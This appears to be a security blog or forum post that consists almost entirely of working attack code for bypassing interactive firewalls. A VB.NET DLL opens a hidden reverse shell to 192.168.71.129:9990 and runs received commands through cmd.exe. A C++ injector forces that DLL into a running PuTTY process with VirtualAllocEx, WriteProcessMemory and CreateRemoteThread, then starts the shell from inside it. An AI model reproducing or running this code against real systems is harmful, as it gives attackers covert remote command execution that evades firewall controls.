Bypass (Interactive) Firewalls using DLL Injection

Imports System.Runtime.InteropServices
Imports RGiesecke.DllExport
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading

Public Module Mod11
    Dim ShClient As New Net.Sockets.TcpClient
    Dim DataStream As NetworkStream

    <DllExport("RemShell")>
    Public Sub RemShell()
        Try
            ShClient.Connect("192.168.71.129", 9990)
            Dim RecvThr As New Thread(AddressOf ShRecv)
            RecvThr.Start()
        Catch ex As Exception : End Try
    End Sub

    Sub SendData(ByVal msg As String)
        Dim SendBytes As Byte()
        SendBytes = Encoding.ASCII.GetBytes(msg)
        DataStream = ShClient.GetStream
        DataStream.Write(SendBytes, 0, SendBytes.Length)
    End Sub

    Sub ShRecv()
        Do
            Dim ReceivedText As String = Nothing
            Dim ReceiveBytes(1023) As Byte
            Dim BytesReceived As Integer
            Do
                DataStream = ShClient.GetStream
                BytesReceived = DataStream.Read(ReceiveBytes, 0, ReceiveBytes.Length)
                If Not Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived).EndsWith(vbLf) Then
                    ReceivedText = ReceivedText & Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived)
                Else
                    Dim temp As String = Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived)
                    Dim Array() As String = Split(temp, vbLf)
                    ReceivedText = ReceivedText & Array(0)
                    CMDOutput(ReceivedText)
                    Exit Do
                End If
            Loop
        Loop
    End Sub

    Sub CMDOutput(ByVal cmd As String)
        Dim p As New Process()
        p.StartInfo.FileName = "cmd.exe"
        p.StartInfo.Arguments = "/c " & cmd
        p.StartInfo.RedirectStandardError = True
        p.StartInfo.RedirectStandardOutput = True
        p.EnableRaisingEvents = True
        p.StartInfo.CreateNoWindow = True
        p.StartInfo.UseShellExecute = False
        AddHandler p.ErrorDataReceived, AddressOf proc_OutputDataReceived
        AddHandler p.OutputDataReceived, AddressOf proc_OutputDataReceived
        Try
            p.Start()
            p.BeginErrorReadLine()
            p.BeginOutputReadLine()
            p.WaitForExit()
        Catch ex As Exception
            SendData("Error: " & ex.Message)
        End Try
    End Sub
    Public Sub proc_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
        SendData(e.Data & vbLf)
    End Sub
End Module

#include <iostream>
#include <stdio.h>
#include <string>
#include <windows.h>
#include <cassert>

LPVOID GetPayloadExportAddr(LPCWSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName) {
	// Load the DLL in the virtual address space of this injector
	HMODULE hLoaded = LoadLibrary(lpPath);

	if (hLoaded == NULL) {
		return NULL;
	}
	else {

		// Use 'GetProcAddress' to get the address of the exported function (in our case RemShell)
		LPVOID lpFunc = (LPVOID)GetProcAddress(hLoaded, lpFunctionName);
		
		// Calculate the offset of the exported function from the base of the DLL
		DWORD dwOffset = (char*)lpFunc - (char*)hLoaded;

		FreeLibrary(hLoaded);
		// Add this offset to the base of the injected DLL we got earlier
		LPVOID final = LPVOID((DWORD)hPayloadBase + dwOffset);
		return final;
	}
}

BOOL InitPayload(HANDLE hProcess, LPCWSTR lpPath, HMODULE hPayloadBase, HWND hwndDlg) {
	LPVOID lpInit = GetPayloadExportAddr(lpPath, hPayloadBase, "RemShell");
	if (lpInit == NULL) {
		return FALSE;
	}
	else {

		// Use 'CreateRemoteThread' on the calculated address on the target application
		HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpInit, hwndDlg, 0, NULL);
		if (hThread == NULL) {
			return FALSE;
		}
		else {
			CloseHandle(hThread);
		}
	}

	return TRUE;
}

int main(int argc, char* argv[]) {
	// Start 'PuTTY' and get the PID based on the window title
	system("start C:\\Users\\john\\Desktop\\putty.exe");
	Sleep(2000);
	LPCWSTR windowName = L"PuTTY Configuration";
	HWND windowHandle = FindWindowW(NULL, windowName);
	DWORD* processID = new DWORD;
	GetWindowThreadProcessId(windowHandle, processID);
	std::wcout << L"Process ID of " << windowName << L" is: " << *processID << std::endl;
	if (processID != 0) {

		// Path of the target DLL to be injected
		const char* buffer = "C:\\Users\\john\\Desktop\\VBDLL\\VBDLL\\bin\\x86\\Release\\VBDLL.dll";
				
		int procID = *processID;
		HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
		if (process == NULL) {
			printf("Couldn't find the specified process\n");
			exit(EXIT_FAILURE);
		}

		// Get the address of the 'LoadLibraryA' function from this injector app (it will be the same for the target process)
		LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
		if (addr == NULL) {
			printf("Couldn't find the LoadLibraryA function\n");
			exit(EXIT_FAILURE);
		}
				
		// Allocate a new memory region inside the target process' address space to write the path of our DLL
		LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
		if (arg == NULL) {
			printf("Couldn't allocate memory inside the chosen process\n");
			exit(EXIT_FAILURE);
		}

    // Write the path of our DLL to the target process' newly allocated memory region
    // This will be defined later as the argument of the LoadLibraryA function
		int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
		if (n == 0) {
			printf("Couldn't write to the target process' address space\n");
			exit(EXIT_FAILURE);
		}
				
		// Call 'LoadLibraryA' from the target process to force load our DLL
		HANDLE hThread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
		if (hThread == NULL) {
			printf("Couldn't create the remote thread\n");
			exit(EXIT_FAILURE);
		}
		
		// hInjected is the base address of the injected DLL
		HMODULE hInjected;
		if (hThread != 0) {
			WaitForSingleObject(hThread, INFINITE);
			GetExitCodeThread(hThread, (LPDWORD)&hInjected);
			CloseHandle(hThread);

			BOOL test = InitPayload(process, L"C:\\Users\\john\\Desktop\\VBDLL\\VBDLL\\bin\\x86\\Release\\VBDLL.dll", hInjected, NULL);
			
		}
		else {
			exit(EXIT_FAILURE);
		}
		getchar();
	CloseHandle(process);
	return 0;
	}
}